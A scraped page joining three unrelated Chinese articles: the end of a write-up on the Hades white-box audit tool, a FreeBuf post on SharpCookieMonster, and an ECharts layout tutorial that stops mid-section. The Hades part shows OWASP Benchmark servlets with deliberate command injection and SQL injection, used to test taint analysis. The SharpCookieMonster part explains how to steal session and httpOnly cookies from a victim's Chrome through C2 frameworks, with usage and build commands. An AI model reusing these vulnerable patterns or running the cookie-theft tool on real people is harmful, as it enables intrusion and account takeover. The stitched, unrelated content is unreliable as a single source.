    invoke-interface {p1, v7},Ljavax/servlet/http/HttpServletRequest;->getHeaders(Ljava/lang/String;)Ljava/util/Enumeration;

    move-result-object v2

    .line 48

    .local v2,"headers":Ljava/util/Enumeration;,"Ljava/util/Enumeration<Ljava/lang/String;>;"

    if-eqz v2, :cond_1b

    invoke-interface {v2},Ljava/util/Enumeration;->hasMoreElements()Z

    move-result v7

    if-eqz v7, :cond_1b

    .line 49

    invoke-interface {v2},Ljava/util/Enumeration;->nextElement()Ljava/lang/Object;

    move-result-object v5

    .end local v5    # "param":Ljava/lang/String;

    check-cast v5, Ljava/lang/String;

    .line 53

    .restart local v5    # "param":Ljava/lang/String;

    :cond_1b

    const-string v7, "UTF-8"

    invoke-static {v5, v7},Ljava/net/URLDecoder;->decode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

    move-result-object v5

    .line 56

    const-string v0, ""

    .line 57

    .local v0,"cmd":Ljava/lang/String;

    const-string v7, "os.name"

    invoke-static {v7},Ljava/lang/System;->getProperty(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v3

    .line 58

    .local v3,"osName":Ljava/lang/String;

    const-string v7, "Windows"

    invoke-virtual {v3, v7}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I

    move-result v7

    const/4 v8, -0x1

    if-eq v7, v8, :cond_38

    .line 59

    const-string v7, "echo"

    invoke-static {v7},Lorg/owasp/benchmark/helpers/Utils;->getOSCommandString(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v0

    .line 62

    :cond_38

    invoke-static {},Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;

    move-result-object v6

    .line 65

    .local v6,"r":Ljava/lang/Runtime;

    :try_start_3c

    new-instance v7, Ljava/lang/StringBuilder;

    invoke-direct {v7},Ljava/lang/StringBuilder;-><init>()V

    invoke-virtual {v7, v0},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v7

    invoke-virtual {v7, v5},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v7

    invoke-virtual {v7},Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v7

    invoke-virtual {v6, v7},Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;

    move-result-object v4

    .line 66

    .local v4,"p":Ljava/lang/Process;

    invoke-static {v4, p2},Lorg/owasp/benchmark/helpers/Utils;->printOSCommandResults(Ljava/lang/Process;Ljavax/servlet/http/HttpServletResponse;)V

    :try_end_54

    .catch Ljava/io/IOException; {:try_start_3c.. :try_end_54} :catch_55

    .line 74

    .end local v4    # "p":Ljava/lang/Process;

    :goto_54

    return-void

    .line 67

    :catch_55

    move-exception v1

    .line 68

    .local v1,"e":Ljava/io/IOException;

    sget-object v7,Ljava/lang/System;->out:Ljava/io/PrintStream;

    const-string v8, "Problem executingcmdi - TestCase"

    invoke-virtual {v7, v8},Ljava/io/PrintStream;->println(Ljava/lang/String;)V

    .line 69

    invoke-interface {p2},Ljavax/servlet/http/HttpServletResponse;->getWriter()Ljava/io/PrintWriter;

    move-result-object v7

    .line 70

    invoke-static {},Lorg/owasp/esapi/ESAPI;->encoder()Lorg/owasp/esapi/Encoder;

    move-result-object v8

    invoke-virtual {v1},Ljava/io/IOException;->getMessage()Ljava/lang/String;

    move-result-object v9

    invoke-interface {v8, v9},Lorg/owasp/esapi/Encoder;->encodeForHTML(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v8

    .line 69

    invoke-virtual {v7, v8},Ljava/io/PrintWriter;->println(Ljava/lang/String;)V

    goto :goto_54

.end method

这里我们将doPost作为我们的入口点进行指令控制流的构造,那么如何生成一个入口点呢?这里可以使用我项目中的一个入口点生成工具funcInvokeGenerate.py即可生成期望得到的入口点信息,只需要输入入口点函数名称和相应的所属的jar包路径即可。

这里我们将Ljavax/servlet/http/HttpServletRequest;->getHeaders(Ljava/lang/String;)Ljava/util/Enumeration;作为source点,

将Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;作为sink点进行分析。

以下是hades构造的指令控制流图(由于生成的控制流图过大,故我只截取了部分的控制流图)

source点

Hades开源白盒审计系统V1.0.0

sink点

Hades开源白盒审计系统V1.0.0

以下是Hades的分析报告: 

{

      "source":"Ljavax/servlet/http/HttpServletRequest;->getHeaders(Ljava/lang/String;)Ljava/util/Enumeration;",

      "linearCode": [

       "Lorg/owasp/benchmark/testcode/BenchmarkTest00017;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V1",

        "1: .registers 13",

        "2: .param p1, \request\    #Ljavax/servlet/http/HttpServletRequest;",

        "3: .param p2, \response\    #Ljavax/servlet/http/HttpServletResponse;",

        "4: .annotation systemLdalvik/annotation/Throws;",

        "5: value = {",

        "6:Ljavax/servlet/ServletException;,",

        "7: Ljava/io/IOException;",

        "8: }",

        "9: .end annotation",

        "10: .prologue",

        "11: .line 42",

        "12: const-string v7,\text/html;charset=UTF-8\",

        "13: invoke-interface {p2, v7},Ljavax/servlet/http/HttpServletResponse;->setContentType(Ljava/lang/String;)V",

        "",

       "Lorg/owasp/benchmark/testcode/BenchmarkTest00017; doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V14",

        "14: .line 45",

        "15: const-string v5, \\",

        "16: .line 46",

        "17: .local v5,\param\:Ljava/lang/String;",

        "18: const-string v7,\BenchmarkTest00017\",

        "19: invoke-interface {p1, v7},Ljavax/servlet/http/HttpServletRequest;->getHeaders(Ljava/lang/String;)Ljava/util/Enumeration;",

        "",

       "Lorg/owasp/benchmark/testcode/BenchmarkTest00017;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V20",

        "20: move-result-object v2",

        "21: .line 48",

        "22: .local v2,\headers\:Ljava/util/Enumeration;,\Ljava/util/Enumeration<Ljava/lang/String;>;\",

        "23: if-eqz v2, :cond_1b",

        "",

       "Lorg/owasp/benchmark/testcode/BenchmarkTest00017;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V24",

        "24: invoke-interface {v2},Ljava/util/Enumeration;->hasMoreElements()Z",

        "",

       "Lorg/owasp/benchmark/testcode/BenchmarkTest00017;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V25",

        "25: move-result v7",

        "26: if-eqz v7, :cond_1b",

        "",

       "Lorg/owasp/benchmark/testcode/BenchmarkTest00017;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V34",

        "34: :cond_1b",

        "35: const-string v7,\UTF-8\",

        "36: invoke-static {v5, v7},Ljava/net/URLDecoder;->decode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;",

        "",

        "Lorg/owasp/benchmark/testcode/BenchmarkTest00017;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V37",

        "37: move-result-object v5",

        "38: .line 56",

        "39: const-string v0, \\",

        "40: .line 57",

        "41: .local v0,\cmd\:Ljava/lang/String;",

        "42: const-string v7,\os.name\",

        "43: invoke-static {v7},Ljava/lang/System;->getProperty(Ljava/lang/String;)Ljava/lang/String;",

        "",

        "Lorg/owasp/benchmark/testcode/BenchmarkTest00017;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V44",

        "44: move-result-object v3",

        "45: .line 58",

        "46: .local v3,\osName\:Ljava/lang/String;",

        "47: const-string v7,\Windows\",

        "48: invoke-virtual {v3, v7},Ljava/lang/String;->indexOf(Ljava/lang/String;)I",

        "",

       "Lorg/owasp/benchmark/testcode/BenchmarkTest00017;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V49",

        "49: move-result v7",

        "50: const/4 v8, -0x1",

        "51: if-eq v7, v8, :cond_38",

        "",

       "Lorg/owasp/benchmark/testcode/BenchmarkTest00017;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V52",

        "52: .line 59",

        "53: const-string v7,\echo\",

        "54: invoke-static {v7},Lorg/owasp/benchmark/helpers/Utils;->getOSCommandString(Ljava/lang/String;)Ljava/lang/String;",

        "",

       "Lorg/owasp/benchmark/testcode/BenchmarkTest00017;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V55",

        "55: move-result-object v0",

        "56: .line 62",

        "",

        "Lorg/owasp/benchmark/testcode/BenchmarkTest00017;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V57",

        "57: :cond_38",

        "58: invoke-static {},Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;",

        "",

       "Lorg/owasp/benchmark/testcode/BenchmarkTest00017;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V59",

        "59: move-result-object v6",

        "60: .line 65",

        "61: .local v6, \r\:Ljava/lang/Runtime;",

        "",

       "Lorg/owasp/benchmark/testcode/BenchmarkTest00017;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V62",

        "62: :try_start_3c",

        "63: new-instance v7, Ljava/lang/StringBuilder;",

        "64: invoke-direct {v7},Ljava/lang/StringBuilder;-><init>()V",

        "",

       "Lorg/owasp/benchmark/testcode/BenchmarkTest00017;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V65",

        "65: invoke-virtual {v7, v0},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;",

        "",

       "Lorg/owasp/benchmark/testcode/BenchmarkTest00017;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V66",

        "66: move-result-object v7",

        "67: invoke-virtual {v7, v5},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;",

        "",

       "Lorg/owasp/benchmark/testcode/BenchmarkTest00017;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V68",

        "68: move-result-object v7",

        "69: invoke-virtual {v7},Ljava/lang/StringBuilder;->toString()Ljava/lang/String;",

        "",

       "Lorg/owasp/benchmark/testcode/BenchmarkTest00017;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V70",

        "70: move-result-object v7",

        "71: invoke-virtual {v6, v7},Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;",

        ""

      ],

      "sinkBelongTo":"org/owasp/benchmark/testcode/BenchmarkTest00017;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V",

      "sink":"Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;",

      "sourceBelongTo":"org/owasp/benchmark/testcode/BenchmarkTest00017;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V"

    }

其中linearcode中记录的是从source点到sink点这条污点路线走过的所有指令。这里,我本来是想只解释执行source点到sink点之间的代码的,不过,后来发现如果只解释执行source点到sink点之间的指令代码的话,针对数组方面的污点分析能力就会变弱。为什么呢?因为数组成员的一些赋值操作是在source点之前进行的,如果没有对这些赋值操作进行解析,那么后续针对数组成员的污点分析无法实现,只能将数组整体标记为污点,认定从该数组取出来的元素都为污点,这样无疑会增加误报的几率。

这里,只显示字节码,和源码的关联性还没有做,不过要做的话也容易,因为字节码里都有对该部分的字节码对应的java源码的行号标记,即.line xx。我们根据字节码里的行号标记在源码里的对应行找到相应源码即可。

2、测试2 SQL注入漏洞

本测试单元对应的是benchmark的靶场18

/**

* OWASPBenchmark v1.2

**/

packageorg.owasp.benchmark.testcode;

importjava.io.IOException;

importjavax.servlet.ServletException;

importjavax.servlet.annotation.WebServlet;

importjavax.servlet.http.HttpServlet;

importjavax.servlet.http.HttpServletRequest;

importjavax.servlet.http.HttpServletResponse;

@WebServlet(value="/sqli-00/BenchmarkTest00018")

publicclass BenchmarkTest00018 extends HttpServlet {

private static final longserialVersionUID = 1L;

@Override

public void doGet(HttpServletRequestrequest, HttpServletResponse response) throws ServletException, IOException {

doPost(request, response);

}

@Override

public void doPost(HttpServletRequestrequest, HttpServletResponse response) throws ServletException, IOException {

// some code

response.setContentType("text/html;charset=UTF-8");

String param = "";

java.util.Enumeration<String>headers = request.getHeaders("BenchmarkTest00018");

if (headers != null &&headers.hasMoreElements()) {

param =headers.nextElement(); // just grab first element

}

// URL Decode the header valuesince req.getHeaders() doesn't. Unlike req.getParameters().

param =java.net.URLDecoder.decode(param, "UTF-8");

String sql = "INSERT INTOusers (username, password) VALUES ('foo','"+ param + "')";

try {

java.sql.Statementstatement = org.owasp.benchmark.helpers.DatabaseHelper.getSqlStatement();

intcount = statement.executeUpdate( sql );

org.owasp.benchmark.helpers.DatabaseHelper.outputUpdateComplete(sql,response);

} catch (java.sql.SQLException e){

if(org.owasp.benchmark.helpers.DatabaseHelper.hideSQLErrors) {

response.getWriter().println(

"Errorprocessing request."

);

return;

}

else throw newServletException(e);

}

}

}

简要的说明下该程序代码:

后端程序通过request.getheader函数获取客户端网络请求的头部信息,并从中读取第一个element信息作为参数进入到拼接形式的sql语句中,并最终进入到sql操作函数中。

下面是污点传递的示意图

Hades开源白盒审计系统V1.0.0

好,下面我们使用Hades来对该程序进行检测。

以下是Hades生成的smali字节码

.classpublic Lorg/owasp/benchmark/testcode/BenchmarkTest00018;

.superLjavax/servlet/http/HttpServlet;

.source"BenchmarkTest00018.java"

#annotations

.annotationruntime Ljavax/servlet/annotation/WebServlet;

value = {

"/sqli-00/BenchmarkTest00018"

}

.endannotation

# staticfields

.fieldprivate static final serialVersionUID:J = 0x1L

# directmethods

.methodpublic constructor <init>()V

.registers 1

.prologue

.line 30

invoke-direct {p0},Ljavax/servlet/http/HttpServlet;-><init>()V

return-void

.endmethod

#virtual methods

.methodpublicdoGet(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V

.registers 3

.param p1, "request" # Ljavax/servlet/http/HttpServletRequest;

.param p2, "response" # Ljavax/servlet/http/HttpServletResponse;

.annotation systemLdalvik/annotation/Throws;

value = {

Ljavax/servlet/ServletException;,

Ljava/io/IOException;

}

.end annotation

.prologue

.line 36

invoke-virtual {p0, p1, p2},Lorg/owasp/benchmark/testcode/BenchmarkTest00018;->doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V

.line 37

return-void

.endmethod

.methodpublicdoPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V

.registers 11

.param p1, "request" # Ljavax/servlet/http/HttpServletRequest;

.param p2, "response" # Ljavax/servlet/http/HttpServletResponse;

.annotation systemLdalvik/annotation/Throws;

value = {

Ljavax/servlet/ServletException;,

Ljava/io/IOException;

}

.end annotation

.prologue

.line 42

const-string v6,"text/html;charset=UTF-8"

invoke-interface {p2, v6},Ljavax/servlet/http/HttpServletResponse;->setContentType(Ljava/lang/String;)V

.line 45

const-string v3, ""

.line 46

.local v3,"param":Ljava/lang/String;

const-string v6,"BenchmarkTest00018"

invoke-interface {p1, v6},Ljavax/servlet/http/HttpServletRequest;->getHeaders(Ljava/lang/String;)Ljava/util/Enumeration;

move-result-object v2

.line 48

.local v2,"headers":Ljava/util/Enumeration;,"Ljava/util/Enumeration<Ljava/lang/String;>;"

if-eqz v2, :cond_1b

invoke-interface {v2},Ljava/util/Enumeration;->hasMoreElements()Z

move-result v6

if-eqz v6, :cond_1b

.line 49

invoke-interface {v2},Ljava/util/Enumeration;->nextElement()Ljava/lang/Object;

move-result-object v3

.end local v3 # "param":Ljava/lang/String;

check-cast v3, Ljava/lang/String;

.line 53

.restart local v3 # "param":Ljava/lang/String;

:cond_1b

const-string v6, "UTF-8"

invoke-static {v3, v6},Ljava/net/URLDecoder;->decode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

move-result-object v3

.line 56

new-instance v6, Ljava/lang/StringBuilder;

invoke-direct {v6},Ljava/lang/StringBuilder;-><init>()V

const-string v7, "INSERT INTO users(username, password) VALUES ('foo','"

invoke-virtual {v6, v7},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v6

invoke-virtual {v6, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v6

const-string v7, "')"

invoke-virtual {v6, v7},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v6

invoke-virtual {v6},Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v4

.line 59

.local v4,"sql":Ljava/lang/String;

:try_start_3a

invoke-static {},Lorg/owasp/benchmark/helpers/DatabaseHelper;->getSqlStatement()Ljava/sql/Statement;

move-result-object v5

.line 60

.local v5,"statement":Ljava/sql/Statement;

invoke-interface {v5, v4},Ljava/sql/Statement;->executeUpdate(Ljava/lang/String;)I

move-result v0

.line 61

.local v0, "count":I

invoke-static {v4, p2},Lorg/owasp/benchmark/helpers/DatabaseHelper;->outputUpdateComplete(Ljava/lang/String;Ljavax/servlet/http/HttpServletResponse;)V

:try_end_45

.catch Ljava/sql/SQLException;{:try_start_3a .. :try_end_45} :catch_46

.line 71

return-void

.line 62

.end local v0 # "count":I

.end local v5 # "statement":Ljava/sql/Statement;

:catch_46

move-exception v1

.line 69

.local v1,"e":Ljava/sql/SQLException;

new-instance v6,Ljavax/servlet/ServletException;

invoke-direct {v6, v1},Ljavax/servlet/ServletException;-><init>(Ljava/lang/Throwable;)V

throw v6

.end method

以下是我们需要配置的source点:

Ljavax/servlet/http/HttpServletRequest;->getHeaders(Ljava/lang/String;)Ljava/util/Enumeration;

以下是我们需要配置的sink点:

Ljava/sql/Statement;->executeUpdate(Ljava/lang/String;)I

以下是Hades生成的指令控制流图

Hades开源白盒审计系统V1.0.0

由于指令控制流图太大,无法清晰的展示中间的指令信息,所以下面重点展示下source点和sink点相关的片段。

Source点:

Hades开源白盒审计系统V1.0.0

sink点

Hades开源白盒审计系统V1.0.0

下面是Hades的检测报告:

{

"source":"Ljavax/servlet/http/HttpServletRequest;->getHeaders(Ljava/lang/String;)Ljava/util/Enumeration;",

"linearCode": [

"Lorg/owasp/benchmark/testcode/BenchmarkTest00018;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V1",

"1: .registers 11",

"2: .param p1, \request\ # Ljavax/servlet/http/HttpServletRequest;",

"3: .param p2, \response\ #Ljavax/servlet/http/HttpServletResponse;",

"4: .annotation systemLdalvik/annotation/Throws;",

"5: value = {",

"6:Ljavax/servlet/ServletException;,",

"7: Ljava/io/IOException;",

"8: }",

"9: .end annotation",

"10: .prologue",

"11: .line 42",

"12: const-string v6,\text/html;charset=UTF-8\",

"13: invoke-interface {p2, v6},Ljavax/servlet/http/HttpServletResponse;->setContentType(Ljava/lang/String;)V",

"",

"Lorg/owasp/benchmark/testcode/BenchmarkTest00018;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V14",

"14: .line 45",

"15: const-string v3, \\",

"16: .line 46",

"17: .local v3,\param\:Ljava/lang/String;",

"18: const-string v6,\BenchmarkTest00018\",

"19: invoke-interface {p1, v6},Ljavax/servlet/http/HttpServletRequest;->getHeaders(Ljava/lang/String;)Ljava/util/Enumeration;",

"",

"Lorg/owasp/benchmark/testcode/BenchmarkTest00018;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V20",

"20: move-result-object v2",

"21: .line 48",

"22: .local v2,\headers\:Ljava/util/Enumeration;,\Ljava/util/Enumeration<Ljava/lang/String;>;\",

"23: if-eqz v2, :cond_1b",

"",

"Lorg/owasp/benchmark/testcode/BenchmarkTest00018;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V24",

"24: invoke-interface {v2},Ljava/util/Enumeration;->hasMoreElements()Z",

"",

"Lorg/owasp/benchmark/testcode/BenchmarkTest00018;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V25",

"25: move-result v6",

"26: if-eqz v6, :cond_1b",

"",

"Lorg/owasp/benchmark/testcode/BenchmarkTest00018;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V27",

"27: .line 49",

"28: invoke-interface {v2},Ljava/util/Enumeration;->nextElement()Ljava/lang/Object;",

"",

"Lorg/owasp/benchmark/testcode/BenchmarkTest00018;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V29",

"29: move-result-object v3",

"30: .end local v3 # \param\:Ljava/lang/String;",

"31: check-cast v3,Ljava/lang/String;",

"32: .line 53",

"33: .restart local v3 # \param\:Ljava/lang/String;",

"",

"Lorg/owasp/benchmark/testcode/BenchmarkTest00018;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V34",

"34: :cond_1b",

"35: const-string v6,\UTF-8\",

"36: invoke-static {v3, v6},Ljava/net/URLDecoder;->decode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;",

"",

"Lorg/owasp/benchmark/testcode/BenchmarkTest00018;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V37",

"37: move-result-object v3",

"38: .line 56",

"39: new-instance v6, Ljava/lang/StringBuilder;",

"40: invoke-direct {v6},Ljava/lang/StringBuilder;-><init>()V",

"",

"Lorg/owasp/benchmark/testcode/BenchmarkTest00018;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V41",

"41: const-string v7, \INSERTINTO users (username, password) VALUES (\'foo\',\'\",

"42: invoke-virtual {v6, v7},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;",

"",

"Lorg/owasp/benchmark/testcode/BenchmarkTest00018;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V43",

"43: move-result-object v6",

"44: invoke-virtual {v6, v3},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;",

"",

"Lorg/owasp/benchmark/testcode/BenchmarkTest00018;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V45",

"45: move-result-object v6",

"46: const-string v7,\\')\",

"47: invoke-virtual {v6, v7},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;",

"",

"Lorg/owasp/benchmark/testcode/BenchmarkTest00018;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V48",

"48: move-result-object v6",

"49: invoke-virtual {v6},Ljava/lang/StringBuilder;->toString()Ljava/lang/String;",

"",

"Lorg/owasp/benchmark/testcode/BenchmarkTest00018;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V50",

"50: move-result-object v4",

"51: .line 59",

"52: .local v4,\sql\:Ljava/lang/String;",

"",

"Lorg/owasp/benchmark/testcode/BenchmarkTest00018;doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V53",

"53: :try_start_3a",

"54: invoke-static {},Lorg/owasp/benchmark/helpers/DatabaseHelper;->getSqlStatement()Ljava/sql/Statement;",

"",

"Lorg/owasp/benchmark/testcode/BenchmarkTest00018; doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V55",

"55: move-result-object v5",

"56: .line 60",

"57: .local v5,\statement\:Ljava/sql/Statement;",

"58: invoke-interface {v5, v4},Ljava/sql/Statement;->executeUpdate(Ljava/lang/String;)I",

""

],

"sinkBelongTo":"org/owasp/benchmark/testcode/BenchmarkTest00018; doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V",

"sink":"Ljava/sql/Statement;->executeUpdate(Ljava/lang/String;)I",

"sourceBelongTo":"org/owasp/benchmark/testcode/BenchmarkTest00018; doPost(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V"

}

八、项目地址

https://github.com/zsdlove/Hades

九、招募项目长期维护人员

目前该项目中只支持java源码的审计,后续计划支持php,c/c++,js等语言。如果你对白盒感兴趣,并具有一定的编程能力(最好全栈),可先加我为好友,我将把你拉近Hades白盒审计系统开源项目的交流群中。

联系方式:

1、 QQ:747289639(微信同)

2、zhengsidie@gmail.com

*本文作者:默安科技安全研究院前沿研究部 郑斯碟,转载请注明来自FreeBuf.COM

本文来源于互联网:Hades开源白盒审计系统V1.0.0

提取Chrome中Cookie工具分享

这个工具将从Google Chrome浏览器中提取Cookie,是一个.NET程序集,可以在C2中通过工具如PoshC2使用或CobaltStrike的命令。

项目地址是SharpCookieMonster

用法

只需将站点输入即可。

SharpCookieMonster.exe [https://sitename.com] [chrome-debugging-port] [user data dir]

可选的第一个参数分隔chrome启动时最初连接的网站(默认为https://www.google.com)。

第二个可选参数指定用于启动chrome调试器的端口(默认为9142)。

最后,可选的第三个参数指定用户数据目录的路径,可以覆盖该路径以访问不同的配置文件(默认为%APPDATALOCAL% Google Chrome User Data)。

提取Chrome中Cookie工具分享

提取Chrome中Cookie工具分享

如您所见,它可用于提取session,httpOnly并通过C2传输cookie。它还已作为模块添加到PoshC2中,并设置了自动加载和别名功能,因此可以使用来简单地运行它sharpcookiemonster

这也适用于CobaltStrike的,可以使用execute-assembly

还值得注意的是,您不需要任何特权访问权限即可执行此操作,只需在存储会话的计算机上在该用户上下文中执行代码即可。

它是如何工作的?

在后台,这是通过首先启动Google Chrome来实现的。我们首先枚举任何正在运行的chrome.exe进程以提取其镜像路径,但是如果失败,则默认为C: Program Files(x86) Google Chrome Application chrome.exe。然后,我们启动该可执行文件,设置适当的标志并将该进程的输出重定向到我们的stdout,以便即使在C2通道上运行它时也可以查看它是否出错。

--headless标志意味着chrome.exe实际上将在没有任何用户界面的情况下运行,但可以使用其API进行交互。对于红队成员而言,这是完美的选择,因为它将仅作为另一个chrome.exe进程出现,而不会向用户显示任何内容。然后,通过--remote-debugging-port标记为此过程启用远程调试,然后使用将数据目录指向用户的现有数据目录--user-data-dir

提取Chrome中Cookie工具分享

启动

启动后,我们将检查进程是否正在运行,并等待调试器端口打开。

然后,我们可以在该端口上与API交互以获取websocket调试器URL。该URL允许程序通过websockets上的API与Chrome的devtools进行交互,从而为我们提供了这些devtools的全部功能。所有这些操作都是在受害人的计算机上本地完成的,因为该二进制文件正在运行,而无界面的Chrome进程正在运行。

提取Chrome中Cookie工具分享

然后,我们可以发出请求以检索该配置文件的缓存中的所有cookie,并将其返回给操作员。

编译

如果您想自己构建二进制文件,只需克隆它并在Visual Studio中构建它即可。

该项目已设置为与.NET 3.5兼容,以便与安装较旧版本.NET的受害人兼容。但是,为了使用WebSockets与Chrome进行通信,添加了WebSocket4Net程序包。

如果要在C2上运行此命令(例如使用PoshC2sharpcookiemonster命令或通过CobaltStrike的命令),请execute-assembly使用ILMerge将生成的可执行文件与依赖库合并。

例如,首先重命名原始二进制文件,然后运行:

ILMerge.exe /targetplatform:"v2,C:WindowsMicrosoft.NETFrameworkv2.0.50727" /out:SharpCookieMonster.exe SharpCookieMonsterOriginal.exe WebSocket4Net.dll SuperSocket.ClientEngine.dll

*参考来源:jmpesp,FB小编周大涛编译,转载请注明来自FreeBuf.COM

本文来源于互联网:提取Chrome中Cookie工具分享

ECharts 响应式

ECharts 响应式

ECharts 图表显示在用户指定高宽的 DOM 节点(容器)中。

有时候我们希望在 PC 和 移动设备上都能够很好的展示图表的内容,实现响应式的设计,为了解决这个问题,ECharts 完善了组件的定位设置,并且实现了类似 CSS Media Query 的自适应能力。


ECharts 组件的定位和布局

大部分『组件』和『系列』会遵循两种定位方式。

left/right/top/bottom/width/height 定位方式

这六个量中,每个量都可以是『绝对值』或者『百分比』或者『位置描述』。

  • 绝对值

    单位是浏览器像素(px),用 number 形式书写(不写单位)。例如 {left: 23, height: 400}

  • 百分比

    表示占 DOM 容器高宽的百分之多少,用 string 形式书写。例如 {right: '30%', bottom: '40%'}

  • 位置描述

    • 可以设置 left: 'center',表示水平居中。
    • 可以设置 top: 'middle',表示垂直居中。

这六个量的概念,和 CSS 中六个量的概念类似:

  • left:距离 DOM 容器左边界的距离。
  • right:距离 DOM 容器右边界的距离。
  • top:距离 DOM 容器上边界的距离。
  • bottom:距离 DOM 容器下边界的距离。
  • width:宽度。
  • height:高度。

在横向,left、right、width 三个量中,只需两个量有值即可,因为任两个量可以决定组件的位置和大小,例如 left 和 right 或者 right 和 width 都可以决定组件的位置和大小。 纵向,top、bottom、height 三个量,和横向类同不赘述。

center / radius 定位方式

  • center

    是一个数组,表示 [x, y],其中,xy可以是『绝对值』或者『百分比』,含义和前述相同。

  • radius

    是一个数组,表示 [内半径, 外半径],其中,内外半径可以是『绝对值』或者『百分比』,含义和前述相同。

    在自适应容器大小时,百分比设置是很有用的。

横向(horizontal)和纵向(vertical)

ECharts的『外观狭长』型的组件(如 legend、visualMap、dataZoom、timeline等),大多提供了『横向布局』『纵向布局』的选择。例如,在细长的移动端屏幕上,可能适合使用『纵向布局』;在PC宽屏上,可能适合使用『横向布局』。

横纵向布局的设置,一般在『组件』或者『系列』的 orient 或者 layout 配置项上,设置为 ‘horizontal’ 或者 ‘vertical’。


实例

